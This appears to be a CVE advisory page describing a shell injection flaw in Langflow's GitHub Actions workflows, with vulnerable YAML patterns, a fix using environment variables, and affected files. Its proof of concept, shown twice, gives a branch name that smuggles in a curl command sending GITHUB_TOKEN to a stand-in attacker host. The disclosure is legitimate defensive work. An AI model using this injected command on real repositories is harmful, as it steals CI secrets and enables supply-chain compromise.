CVE-2026-33475

Langflow GitHub Actions Shell Injection

Published Mar 24, 2026 CVSS 3.1 · 9.1 Critical EPSS 3.2% KEV · Not listed
Description
Langflow is a tool for building and deploying AI-powered agents and workflows. An unauthenticated remote shell injection vulnerability exists in multiple GitHub Actions workflows in the Langflow repository prior to version 1.9.0. Unsanitized interpolation of GitHub context variables (e.g., `${{ github.head_ref }}`) in `run:` steps allows attackers to inject and execute arbitrary shell commands via a malicious branch name or pull request title. This can lead to secret exfiltration (e.g., `GITHUB_TOKEN`), infrastructure manipulation, or supply chain compromise during CI/CD execution. Version 1.9.0 patches the vulnerability.

---

### Details

Several workflows in `.github/workflows/` and `.github/actions/` reference GitHub context variables directly in `run:` shell commands, such as:

```yaml
run: |
validate_branch_name "${{ github.event.pull_request.head.ref }}"
```

Or:

```yaml
run: npx playwright install ${{ inputs.browsers }} --with-deps
```

Since `github.head_ref`, `github.event.pull_request.title`, and custom `inputs.*` may contain **user-controlled values**, they must be treated as **untrusted input**. Direct interpolation without proper quoting or sanitization leads to shell command injection.

---

### PoC

1. **Fork** the Langflow repository
2. **Create a new branch** with the name:
```bash
injection-test && curl https://attacker.site/exfil?token=$GITHUB_TOKEN
```
3. **Open a Pull Request** to the main branch from the new branch
4. GitHub Actions will run the affected workflow (e.g., `deploy-docs-draft.yml`)
5. The `run:` step containing:
```yaml
echo "Branch: ${{ github.head_ref }}"
```
Will execute:
```bash
echo "Branch: injection-test"
curl https://attacker.site/exfil?token=$GITHUB_TOKEN
```

6. The attacker receives the CI secret via the exfil URL.

---

### Impact

- **Type:** Shell Injection / Remote Code Execution in CI
- **Scope:** Any public Langflow fork with GitHub Actions enabled
- **Impact:** Full access to CI secrets (e.g., `GITHUB_TOKEN`), possibility to push malicious tags or images, tamper with releases, or leak sensitive infrastructure data

---

### Suggested Fix

Refactor affected workflows to **use environment variables** and wrap them in **double quotes**:

```yaml
env:
BRANCH_NAME: ${{ github.head_ref }}
run: |
echo "Branch is: \"$BRANCH_NAME\""
```

Avoid direct `${{ ... }}` interpolation inside `run:` for any user-controlled value.

---

### Affected Files (Langflow `1.3.4`)

- `.github/actions/install-playwright/action.yml`
- `.github/workflows/deploy-docs-draft.yml`
- `.github/workflows/docker-build.yml`
- `.github/workflows/release_nightly.yml`
- `.github/workflows/python_test.yml`
- `.github/workflows/typescript_test.yml`

Remediation

No solution or workaround provided in the CVE record

Tracking

Sign in to view the affected projects.

Advisories

No advisories available
History
Type Values Removed Values Added
First Time appeared Langflow
Langflow langflow
CPEs cpe:2.3:a:langflow:langflow:*:*:*:*:*:*:*:*
Vendors & Products Langflow
Langflow langflow
Type Values Removed Values Added
Metrics ssvc

{'options': {'Automatable': 'yes', 'Exploitation': 'poc', 'Technical Impact': 'total'}, 'version': '2.0.3'}

Type Values Removed Values Added
Description Langflow is a tool for building and deploying AI-powered agents and workflows. An unauthenticated remote shell injection vulnerability exists in multiple GitHub Actions workflows in the Langflow repository prior to version 1.9.0. Unsanitized interpolation of GitHub context variables (e.g., `${{ github.head_ref }}`) in `run:` steps allows attackers to inject and execute arbitrary shell commands via a malicious branch name or pull request title. This can lead to secret exfiltration (e.g., `GITHUB_TOKEN`), infrastructure manipulation, or supply chain compromise during CI/CD execution. Version 1.9.0 patches the vulnerability. --- ### Details Several workflows in `.github/workflows/` and `.github/actions/` reference GitHub context variables directly in `run:` shell commands, such as: ```yaml run: | validate_branch_name "${{ github.event.pull_request.head.ref }}" ``` Or: ```yaml run: npx playwright install ${{ inputs.browsers }} --with-deps ``` Since `github.head_ref`, `github.event.pull_request.title`, and custom `inputs.*` may contain **user-controlled values**, they must be treated as **untrusted input**. Direct interpolation without proper quoting or sanitization leads to shell command injection. --- ### PoC 1. **Fork** the Langflow repository 2. **Create a new branch** with the name: ```bash injection-test && curl https://attacker.site/exfil?token=$GITHUB_TOKEN ``` 3. **Open a Pull Request** to the main branch from the new branch 4. GitHub Actions will run the affected workflow (e.g., `deploy-docs-draft.yml`) 5. The `run:` step containing: ```yaml echo "Branch: ${{ github.head_ref }}" ``` Will execute: ```bash echo "Branch: injection-test" curl https://attacker.site/exfil?token=$GITHUB_TOKEN ``` 6. The attacker receives the CI secret via the exfil URL. --- ### Impact - **Type:** Shell Injection / Remote Code Execution in CI - **Scope:** Any public Langflow fork with GitHub Actions enabled - **Impact:** Full access to CI secrets (e.g., `GITHUB_TOKEN`), possibility to push malicious tags or images, tamper with releases, or leak sensitive infrastructure data --- ### Suggested Fix Refactor affected workflows to **use environment variables** and wrap them in **double quotes**: ```yaml env: BRANCH_NAME: ${{ github.head_ref }} run: | echo "Branch is: \"$BRANCH_NAME\"" ``` Avoid direct `${{ ... }}` interpolation inside `run:` for any user-controlled value. --- ### Affected Files (Langflow `1.3.4`) - `.github/actions/install-playwright/action.yml` - `.github/workflows/deploy-docs-draft.yml` - `.github/workflows/docker-build.yml` - `.github/workflows/release_nightly.yml` - `.github/workflows/python_test.yml` - `.github/workflows/typescript_test.yml`
Title Langflow GitHub Actions Shell Injection
Weaknesses CWE-74
CWE-78
References
Metrics cvssV3_1

{'score': 9.1, 'vector': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N'}

Weaknesses

Sources

Status
PUBLISHED
Assigner
GitHub_M
Published
Updated
Mar 25, 2026, 3:55 AM
Reserved
Mar 20, 2026, 4:16 PM
Status
Analyzed
Published
Mar 24, 2026, 1:16 PM
Modified
Jun 17, 2026, 10:37 AM